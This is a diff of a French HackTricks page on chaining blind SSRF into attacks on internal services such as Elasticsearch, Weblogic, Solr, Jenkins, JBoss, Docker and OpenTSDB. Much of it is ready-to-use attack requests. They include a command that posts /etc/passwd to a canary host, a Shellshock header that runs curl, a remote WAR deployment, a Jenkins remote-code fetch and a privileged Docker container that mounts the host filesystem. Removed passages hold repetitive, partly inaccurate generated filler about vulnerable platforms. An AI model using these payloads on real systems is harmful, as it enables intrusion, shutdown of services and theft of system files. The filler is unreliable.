* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Cette section a été copiée depuis [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
|
||||
Cette section a été copiée de [https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)
|
||||
|
||||
## Elasticsearch
|
||||
|
||||
**Port communément utilisé : 9200**
|
||||
**Port couramment utilisé : 9200**
|
||||
|
||||
Lorsque Elasticsearch est déployé en interne, il ne nécessite généralement pas d'authentification.
|
||||
|
||||
Si vous avez un SSRF partiellement aveugle où vous pouvez déterminer le code d'état, vérifiez si les points d'extrémité suivants renvoient un code 200 :
|
||||
Si vous avez un SSRF partiellement aveugle où vous pouvez déterminer le code de statut, vérifiez si les points de terminaison suivants retournent un 200 :
|
||||
```http
|
||||
/_cluster/health
|
||||
/_cat/indices
|
||||
/_cat/health
|
||||
```
|
||||
Si vous avez une SSRF aveugle où vous pouvez envoyer des requêtes POST, vous pouvez arrêter l'instance Elasticsearch en envoyant une requête POST au chemin suivant :
|
||||
Si vous avez un SSRF aveugle où vous pouvez envoyer des requêtes POST, vous pouvez arrêter l'instance Elasticsearch en envoyant une requête POST au chemin suivant :
|
||||
|
||||
Note : l'API `_shutdown` a été supprimée à partir de la version 2.x d'Elasticsearch et ultérieure. Cela ne fonctionne que dans Elasticsearch 1.6 et versions antérieures :
|
||||
Note : l'API `_shutdown` a été retirée d'Elasticsearch à partir de la version 2.x. Cela fonctionne uniquement dans Elasticsearch 1.6 et les versions antérieures :
|
||||
```http
|
||||
/_shutdown
|
||||
/_cluster/nodes/_master/_shutdown
|
||||
|
@ -37,7 +39,7 @@ Note : l'API `_shutdown` a été supprimée à partir de la version 2.x d'Elasti
|
|||
```
|
||||
## Weblogic
|
||||
|
||||
**Ports couramment liés : 80, 443 (SSL), 7001, 8888**
|
||||
**Ports couramment utilisés : 80, 443 (SSL), 7001, 8888**
|
||||
|
||||
**SSRF Canary : UDDI Explorer (CVE-2014-4210)**
|
||||
```http
|
||||
|
@ -62,7 +64,7 @@ Accept-Language: en
|
|||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
|
||||
Connection: close
|
||||
```
|
||||
Résultera en la requête suivante :
|
||||
Résultera dans la requête suivante :
|
||||
```
|
||||
root@mail:~# nc -lvp 4000
|
||||
Listening on [0.0.0.0] (family 0, port 4000)
|
||||
|
@ -79,11 +81,11 @@ Connection: Keep-Alive
|
|||
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
|
||||
```
|
||||
**SSRF Canary: CVE-2020-14883**
|
||||
**SSRF Canary : CVE-2020-14883**
|
||||
|
||||
Extrait de [ici](https://forum.90sec.com/t/topic/1412).
|
||||
Tiré de [ici](https://forum.90sec.com/t/topic/1412).
|
||||
|
||||
Linux:
|
||||
Linux :
|
||||
```http
|
||||
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
||||
Host: vulnerablehost:7001
|
||||
|
@ -98,19 +100,7 @@ Content-Length: 117
|
|||
|
||||
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
|
||||
```
|
||||
# Plateformes vulnérables à SSRF
|
||||
|
||||
## Windows
|
||||
|
||||
Les serveurs Windows peuvent également être vulnérables aux attaques SSRF. Voici quelques-unes des plateformes couramment utilisées qui peuvent présenter des vulnérabilités SSRF sur des systèmes Windows :
|
||||
|
||||
- **IIS (Internet Information Services)** : Le serveur web IIS peut être vulnérable aux attaques SSRF si une application web mal configurée permet à un attaquant de spécifier des URL arbitraires pour les requêtes sortantes.
|
||||
|
||||
- **.NET Framework** : Les applications basées sur le framework .NET peuvent être vulnérables aux attaques SSRF si elles utilisent des fonctionnalités telles que `WebRequest` ou `HttpClient` pour effectuer des requêtes sortantes sans validation appropriée des URL.
|
||||
|
||||
- **Windows PowerShell** : Les scripts PowerShell peuvent être vulnérables aux attaques SSRF si des entrées utilisateur sont utilisées pour construire des URL pour les requêtes sortantes sans validation adéquate.
|
||||
|
||||
Il est important de noter que la vulnérabilité SSRF peut exister sur d'autres plateformes Windows en fonction de la configuration et des applications utilisées. Il est donc essentiel de mener des tests de sécurité approfondis pour identifier et corriger ces vulnérabilités.
|
||||
Windows :
|
||||
```http
|
||||
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
||||
Host: vulnerablehost:7001
|
||||
|
@ -129,15 +119,15 @@ _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su
|
|||
|
||||
**Ports couramment utilisés : 8500, 8501 (SSL)**
|
||||
|
||||
Le compte-rendu peut être trouvé [ici](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
|
||||
Vous pouvez trouver le writeup [ici](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
|
||||
|
||||
## Shellshock
|
||||
|
||||
**Ports couramment utilisés : 80, 443 (SSL), 8080**
|
||||
|
||||
Pour tester efficacement Shellshock, vous devrez peut-être ajouter un en-tête contenant la charge utile. Les chemins CGI suivants valent la peine d'être essayés :
|
||||
Pour tester efficacement Shellshock, vous devrez peut-être ajouter un en-tête contenant le payload. Les chemins CGI suivants valent la peine d'être essayés :
|
||||
|
||||
Liste courte des chemins CGI à tester :
|
||||
Liste courte de chemins CGI à tester :
|
||||
|
||||
[Gist contenant les chemins](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
|
||||
|
||||
|
@ -151,63 +141,34 @@ User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
|
|||
|
||||
Consultez la référence de l'API pour Apache Druid [ici](https://druid.apache.org/docs/latest/operations/api-reference.html).
|
||||
|
||||
Si vous pouvez afficher le code d'état, vérifiez les chemins suivants pour voir s'ils renvoient un code d'état 200 :
|
||||
Si vous pouvez voir le code de statut, vérifiez les chemins suivants pour voir s'ils renvoient un code de statut 200 :
|
||||
```bash
|
||||
/status/selfDiscovered/status
|
||||
/druid/coordinator/v1/leader
|
||||
/druid/coordinator/v1/metadata/datasources
|
||||
/druid/indexer/v1/taskStatus
|
||||
```
|
||||
## Plateformes vulnérables à la SSRF (Server-Side Request Forgery)
|
||||
|
||||
Certaines plateformes peuvent être vulnérables à la SSRF (Server-Side Request Forgery) lorsqu'elles permettent aux utilisateurs de spécifier des identifiants de tâches ou le nom de la source de données. Cela peut conduire à des attaques de devinettes.
|
||||
|
||||
### AWS
|
||||
|
||||
- **AWS Batch** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
- **AWS Data Pipeline** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
- **AWS Glue** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
- **AWS Step Functions** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
|
||||
### Google Cloud Platform (GCP)
|
||||
|
||||
- **Google Cloud Dataflow** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
- **Google Cloud Dataproc** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
- **Google Cloud Composer** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
|
||||
### Microsoft Azure
|
||||
|
||||
- **Azure Data Factory** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
- **Azure Databricks** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
- **Azure Logic Apps** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
|
||||
### Autres plateformes
|
||||
|
||||
- **Apache Airflow** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
- **Jenkins** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
- **Kubernetes** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
- **OpenStack** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
- **Rundeck** : Les tâches peuvent être arrêtées en devinant les identifiants de tâches.
|
||||
Les tâches d'arrêt nécessitent que vous deviniez les ID de tâches ou le nom de la source de données :
|
||||
```bash
|
||||
/druid/indexer/v1/task/{taskId}/shutdown
|
||||
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
|
||||
```
|
||||
Arrêt des superviseurs sur les Apache Druid Overlords :
|
||||
Superviseurs d'arrêt sur les Overlords Apache Druid :
|
||||
```bash
|
||||
/druid/indexer/v1/supervisor/terminateAll
|
||||
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
|
||||
```
|
||||
## Apache Solr
|
||||
|
||||
**Port communément utilisé : 8983**
|
||||
**Port couramment utilisé : 8983**
|
||||
|
||||
**SSRF Canary : Paramètre Shards**
|
||||
|
||||
> Pour ajouter à ce que shubham dit - la recherche de solr est relativement facile. Il existe un paramètre shards= qui vous permet de rebondir SSRF vers SSRF pour vérifier si vous atteignez une instance solr à l'aveugle.
|
||||
> Pour ajouter à ce que dit shubham - scanner pour solr est relativement facile. Il y a un paramètre shards= qui vous permet de rebondir de SSRF à SSRF pour vérifier que vous touchez bien une instance solr à l'aveugle.
|
||||
>
|
||||
> — Хавиж Наффи 🥕 (@nnwakelam) [13 janvier 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref\_src=twsrc%5Etfw)
|
||||
> — Хавиж Наффи 🥕 (@nnwakelam) [13 janvier 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw)
|
||||
|
||||
Extrait [ici](https://github.com/veracode-research/solr-injection).
|
||||
Tiré de [ici](https://github.com/veracode-research/solr-injection).
|
||||
```bash
|
||||
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
|
||||
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
|
||||
|
@ -221,17 +182,17 @@ Extrait [ici](https://github.com/veracode-research/solr-injection).
|
|||
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
|
||||
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
|
||||
```
|
||||
**RCE via dataImportHandler**
|
||||
**Exécution de code à distance via dataImportHandler**
|
||||
|
||||
[Recherche sur RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
|
||||
[Recherche sur l'exécution de code à distance via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
|
||||
|
||||
## PeopleSoft
|
||||
|
||||
**Ports couramment liés : 80,443 (SSL)**
|
||||
**Ports couramment utilisés : 80,443 (SSL)**
|
||||
|
||||
Extrait de cette recherche [ici](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
|
||||
Tiré de cette recherche [ici](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
|
||||
|
||||
**SSRF Canary: XXE #1**
|
||||
**Canari SSRF : XXE #1**
|
||||
```http
|
||||
POST /PSIGW/HttpListeningConnector HTTP/1.1
|
||||
Host: website.com
|
||||
|
@ -267,57 +228,7 @@ Content-Type: application/xml
|
|||
</ContentSections>
|
||||
</IBRequest>
|
||||
```
|
||||
**SSRF Canary: XXE #2**
|
||||
|
||||
---
|
||||
|
||||
## Platforms Vulnerables à SSRF
|
||||
|
||||
Les plateformes suivantes sont connues pour être vulnérables aux attaques SSRF :
|
||||
|
||||
1. **AWS EC2 Metadata Service** - Le service de métadonnées d'EC2 d'AWS permet aux instances EC2 d'accéder aux informations de configuration et aux métadonnées de l'instance. Une SSRF peut être utilisée pour accéder à ces informations sensibles.
|
||||
|
||||
2. **Google Cloud Metadata Service** - Le service de métadonnées de Google Cloud permet aux instances de VM d'accéder aux informations de configuration et aux métadonnées de l'instance. Une SSRF peut être utilisée pour accéder à ces informations sensibles.
|
||||
|
||||
3. **Azure Instance Metadata Service** - Le service de métadonnées des instances Azure permet aux instances de VM d'accéder aux informations de configuration et aux métadonnées de l'instance. Une SSRF peut être utilisée pour accéder à ces informations sensibles.
|
||||
|
||||
4. **DigitalOcean Metadata Service** - Le service de métadonnées de DigitalOcean permet aux instances de VM d'accéder aux informations de configuration et aux métadonnées de l'instance. Une SSRF peut être utilisée pour accéder à ces informations sensibles.
|
||||
|
||||
5. **OpenStack Metadata Service** - Le service de métadonnées d'OpenStack permet aux instances de VM d'accéder aux informations de configuration et aux métadonnées de l'instance. Une SSRF peut être utilisée pour accéder à ces informations sensibles.
|
||||
|
||||
6. **Heroku Metadata Service** - Le service de métadonnées de Heroku permet aux applications de récupérer des informations sur l'environnement d'exécution. Une SSRF peut être utilisée pour accéder à ces informations sensibles.
|
||||
|
||||
7. **Kubernetes API Server** - Le serveur API Kubernetes permet aux utilisateurs d'interagir avec les clusters Kubernetes. Une SSRF peut être utilisée pour accéder à des ressources sensibles dans le cluster.
|
||||
|
||||
8. **Docker Socket** - Le socket Docker permet aux utilisateurs d'interagir avec le démon Docker. Une SSRF peut être utilisée pour exécuter des commandes sur le démon Docker.
|
||||
|
||||
9. **Jenkins** - Jenkins est un serveur d'intégration continue largement utilisé. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Jenkins.
|
||||
|
||||
10. **GitLab** - GitLab est une plateforme de gestion de dépôts Git. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur GitLab.
|
||||
|
||||
11. **Bitbucket** - Bitbucket est une plateforme de gestion de dépôts Git. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Bitbucket.
|
||||
|
||||
12. **JIRA** - JIRA est un outil de suivi des problèmes et de gestion de projets. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur JIRA.
|
||||
|
||||
13. **Confluence** - Confluence est un outil de collaboration et de gestion des connaissances. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Confluence.
|
||||
|
||||
14. **WordPress** - WordPress est une plateforme de gestion de contenu populaire. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur WordPress.
|
||||
|
||||
15. **Magento** - Magento est une plateforme de commerce électronique. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Magento.
|
||||
|
||||
16. **Shopify** - Shopify est une plateforme de commerce électronique. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Shopify.
|
||||
|
||||
17. **Salesforce** - Salesforce est une plateforme de gestion de la relation client (CRM). Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Salesforce.
|
||||
|
||||
18. **Slack** - Slack est une plateforme de communication d'équipe. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Slack.
|
||||
|
||||
19. **Microsoft Teams** - Microsoft Teams est une plateforme de communication d'équipe. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Microsoft Teams.
|
||||
|
||||
20. **Zoom** - Zoom est une plateforme de visioconférence. Une SSRF peut être utilisée pour accéder à des informations sensibles ou exécuter des commandes sur le serveur Zoom.
|
||||
|
||||
---
|
||||
|
||||
*Note : Cette liste n'est pas exhaustive et il existe d'autres plateformes vulnérables à SSRF. Il est important de toujours effectuer une évaluation de sécurité appropriée pour identifier les vulnérabilités SSRF spécifiques à votre environnement.*
|
||||
**SSRF Canary : XXE #2**
|
||||
```http
|
||||
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
|
||||
Host: website.com
|
||||
|
@ -328,11 +239,11 @@ Content-Type: application/xml
|
|||
```
|
||||
## Apache Struts
|
||||
|
||||
**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Ports couramment utilisés : 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
Extrait de [ici](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
||||
|
||||
**SSRF Canary : Struts2-016** :
|
||||
**Canari SSRF : Struts2-016** :
|
||||
|
||||
Ajoutez ceci à la fin de chaque point de terminaison/URL interne que vous connaissez :
|
||||
```http
|
||||
|
@ -340,49 +251,49 @@ Ajoutez ceci à la fin de chaque point de terminaison/URL interne que vous conna
|
|||
```
|
||||
## JBoss
|
||||
|
||||
**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Ports couramment utilisés : 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
Extrait de [ici](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
||||
Tiré de [ici](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
||||
|
||||
**SSRF Canary : Déploiement de WAR à partir d'une URL**
|
||||
**SSRF Canary : Déployer WAR depuis une URL**
|
||||
```bash
|
||||
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
|
||||
```
|
||||
## Confluence
|
||||
|
||||
**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Ports couramment utilisés : 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
**SSRF Canary : Sharelinks (versions de Confluence publiées avant novembre 2016)**
|
||||
**SSRF Canary : Sharelinks (versions de Confluence sorties depuis novembre 2016 et plus anciennes)**
|
||||
```bash
|
||||
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
|
||||
```
|
||||
**SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)**
|
||||
|
||||
[Ticket de sécurité Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
[Billet de sécurité Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
```bash
|
||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
||||
```
|
||||
## Jira
|
||||
|
||||
**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Ports couramment utilisés : 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
**SSRF Canary : iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
|
||||
**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
|
||||
|
||||
[Ticket de sécurité Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
[Billet de sécurité Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
```bash
|
||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
||||
```
|
||||
**SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)**
|
||||
|
||||
[Ticket de sécurité Atlassian JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)
|
||||
[Billet de sécurité Atlassian JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)
|
||||
```bash
|
||||
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
|
||||
```
|
||||
## Autres produits Atlassian
|
||||
|
||||
**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Ports couramment utilisés : 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
**SSRF Canary : iconUriServlet (CVE-2017-9506)**:
|
||||
**SSRF Canary : iconUriServlet (CVE-2017-9506)** :
|
||||
|
||||
* Bamboo < 6.0.0
|
||||
* Bitbucket < 4.14.4
|
||||
|
@ -390,29 +301,29 @@ Extrait de [ici](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
|||
* Crucible < 4.3.2
|
||||
* Fisheye < 4.3.2
|
||||
|
||||
[Ticket de sécurité Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
[Billet de sécurité Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
```bash
|
||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
||||
```
|
||||
## OpenTSDB
|
||||
|
||||
**Port communément utilisé : 4242**
|
||||
**Port couramment utilisé : 4242**
|
||||
|
||||
[OpenTSDB Exécution de code à distance](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
|
||||
[Exécution de code à distance OpenTSDB](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
|
||||
|
||||
**SSRF Canary : curl via RCE**
|
||||
**Canari SSRF : curl via RCE**
|
||||
```bash
|
||||
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
|
||||
```
|
||||
[OpenTSDB 2.4.0 Exécution de code à distance](https://github.com/OpenTSDB/opentsdb/issues/2051)
|
||||
[Exécution de Code à Distance OpenTSDB 2.4.0](https://github.com/OpenTSDB/opentsdb/issues/2051)
|
||||
|
||||
**SSRF Canary: curl via RCE - CVE-2020-35476**
|
||||
**SSRF Canary : curl via RCE - CVE-2020-35476**
|
||||
```bash
|
||||
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
|
||||
```
|
||||
## Jenkins
|
||||
|
||||
**Ports couramment utilisés : 80, 443 (SSL), 8080, 8888**
|
||||
**Ports couramment utilisés : 80,443 (SSL),8080,8888**
|
||||
|
||||
Excellent article [ici](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).
|
||||
|
||||
|
@ -422,53 +333,11 @@ Excellent article [ici](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-pl
|
|||
```
|
||||
**RCE**
|
||||
|
||||
Suivez les instructions ici pour obtenir une RCE via GET: [Hacking Jenkins Partie 2 - Abus de la méta-programmation pour une RCE non authentifiée!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
|
||||
Suivez les instructions ici pour réaliser un RCE via GET : [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
|
||||
```bash
|
||||
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
|
||||
```
|
||||
**RCE via Groovy**
|
||||
|
||||
**RCE via Groovy**
|
||||
|
||||
Remote Code Execution (RCE) via Groovy is a Server-Side Request Forgery (SSRF) vulnerability that allows an attacker to execute arbitrary code on the server by exploiting the Groovy scripting engine.
|
||||
|
||||
### Vulnerable Platforms
|
||||
|
||||
The following platforms are known to be vulnerable to RCE via Groovy:
|
||||
|
||||
- **Jenkins**: Jenkins is an open-source automation server that is widely used for continuous integration and delivery. It allows users to define build pipelines using Groovy scripts, which can be exploited to achieve RCE.
|
||||
|
||||
- **Apache Struts**: Apache Struts is a popular Java web application framework. In certain configurations, it allows users to execute Groovy scripts, which can be leveraged to achieve RCE.
|
||||
|
||||
- **Spring Boot**: Spring Boot is a framework for building Java applications. It provides support for Groovy scripting, which can be abused to achieve RCE.
|
||||
|
||||
### Exploitation
|
||||
|
||||
To exploit RCE via Groovy, an attacker needs to identify a vulnerable endpoint that allows the execution of Groovy scripts. Once a vulnerable endpoint is identified, the attacker can craft a malicious Groovy script that executes arbitrary code on the server.
|
||||
|
||||
The following example demonstrates a simple payload that can be used to achieve RCE via Groovy:
|
||||
|
||||
```groovy
|
||||
def command = "id"
|
||||
def process = command.execute()
|
||||
def output = process.text
|
||||
```
|
||||
|
||||
In this example, the `id` command is executed on the server, and the output is captured. The attacker can modify the payload to execute any desired command or code.
|
||||
|
||||
### Mitigation
|
||||
|
||||
To mitigate the risk of RCE via Groovy, it is recommended to follow these best practices:
|
||||
|
||||
- **Input Validation**: Implement strict input validation to prevent untrusted user input from being executed as Groovy code.
|
||||
|
||||
- **Sandboxing**: Use sandboxing mechanisms to restrict the capabilities of the Groovy scripting engine and prevent the execution of arbitrary code.
|
||||
|
||||
- **Least Privilege**: Run applications with the least privileges necessary to perform their intended functions, reducing the potential impact of a successful RCE attack.
|
||||
|
||||
- **Regular Updates**: Keep all software and frameworks up to date to ensure that any known vulnerabilities are patched.
|
||||
|
||||
By following these best practices, organizations can reduce the risk of RCE via Groovy and protect their applications from exploitation.
|
||||
**Exécution de code à distance via Groovy**
|
||||
```
|
||||
cmd = 'curl burp_collab'
|
||||
pay = 'public class x {public x(){"%s".execute()}}' % cmd
|
||||
|
@ -476,7 +345,7 @@ data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsec
|
|||
```
|
||||
## Tableau de bord Hystrix
|
||||
|
||||
**Ports couramment liés : 80, 443 (SSL), 8080**
|
||||
**Ports couramment utilisés : 80,443 (SSL),8080**
|
||||
|
||||
Spring Cloud Netflix, versions 2.2.x antérieures à 2.2.4, versions 2.1.x antérieures à 2.1.6.
|
||||
|
||||
|
@ -506,9 +375,9 @@ Connection: close
|
|||
```
|
||||
**SSRF Canary**
|
||||
|
||||
L'avis concernant cette vulnérabilité a été publié ici: [Vulnérabilité SSRF de W3 Total Cache](https://klikki.fi/adv/w3\_total\_cache.html)
|
||||
L'avis de cette vulnérabilité a été publié ici : [Vulnérabilité SSRF de W3 Total Cache](https://klikki.fi/adv/w3\_total\_cache.html)
|
||||
|
||||
Ce code PHP générera une charge utile pour votre hôte SSRF Canary (remplacez `url` par votre hôte canary):
|
||||
Ce code PHP générera un payload pour votre hôte SSRF Canary (remplacez `url` par votre hôte canary) :
|
||||
```php
|
||||
<?php
|
||||
|
||||
|
@ -522,33 +391,15 @@ echo($req);
|
|||
```
|
||||
## Docker
|
||||
|
||||
**Ports couramment liés : 2375, 2376 (SSL)**
|
||||
**Ports couramment utilisés : 2375, 2376 (SSL)**
|
||||
|
||||
Si vous avez une SSRF partiellement aveugle, vous pouvez utiliser les chemins suivants pour vérifier la présence de l'API de Docker :
|
||||
Si vous avez un SSRF partiellement aveugle, vous pouvez utiliser les chemins suivants pour vérifier la présence de l'API Docker :
|
||||
```bash
|
||||
/containers/json
|
||||
/secrets
|
||||
/services
|
||||
```
|
||||
**RCE via l'exécution d'une image Docker arbitraire**
|
||||
|
||||
SSRF vulnerabilities can sometimes lead to Remote Code Execution (RCE) if the target server allows the execution of arbitrary Docker images. In this scenario, an attacker can exploit the SSRF vulnerability to make the server pull and run a malicious Docker image, which can result in the execution of arbitrary code on the target system.
|
||||
|
||||
To achieve RCE through running an arbitrary Docker image, the following conditions must be met:
|
||||
|
||||
1. The target server must have Docker installed and running.
|
||||
2. The SSRF vulnerability must allow the attacker to specify the URL of the Docker image to be pulled and run.
|
||||
3. The server must have permissions to pull and run Docker images from external sources.
|
||||
|
||||
To exploit this vulnerability, the attacker can provide the URL of a malicious Docker image as the SSRF payload. When the server processes the SSRF request, it will attempt to pull the specified Docker image and run it. If successful, the attacker's code within the Docker image will be executed on the target system, leading to RCE.
|
||||
|
||||
It is important to note that this technique requires the target server to have Docker installed and configured in a way that allows the execution of arbitrary images. Additionally, the attacker needs to find a suitable Docker image that contains the desired payload for RCE.
|
||||
|
||||
To mitigate this vulnerability, it is recommended to:
|
||||
|
||||
- Regularly update and patch Docker installations to prevent known vulnerabilities.
|
||||
- Restrict the ability to pull and run Docker images from external sources.
|
||||
- Implement proper input validation and sanitization to prevent SSRF vulnerabilities in the first place.
|
||||
**Exécution de code à distance via l'exécution d'une image Docker arbitraire**
|
||||
```http
|
||||
POST /containers/create?name=test HTTP/1.1
|
||||
Host: website.com
|
||||
|
@ -557,17 +408,17 @@ Content-Type: application/json
|
|||
|
||||
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
|
||||
```
|
||||
Remplacez alpine par une image arbitraire que vous souhaitez exécuter dans le conteneur Docker.
|
||||
Remplacez alpine par une image arbitraire que vous souhaitez exécuter dans le conteneur docker.
|
||||
|
||||
## Gitlab Prometheus Redis Exporter
|
||||
|
||||
**Ports couramment liés : 9121**
|
||||
|
||||
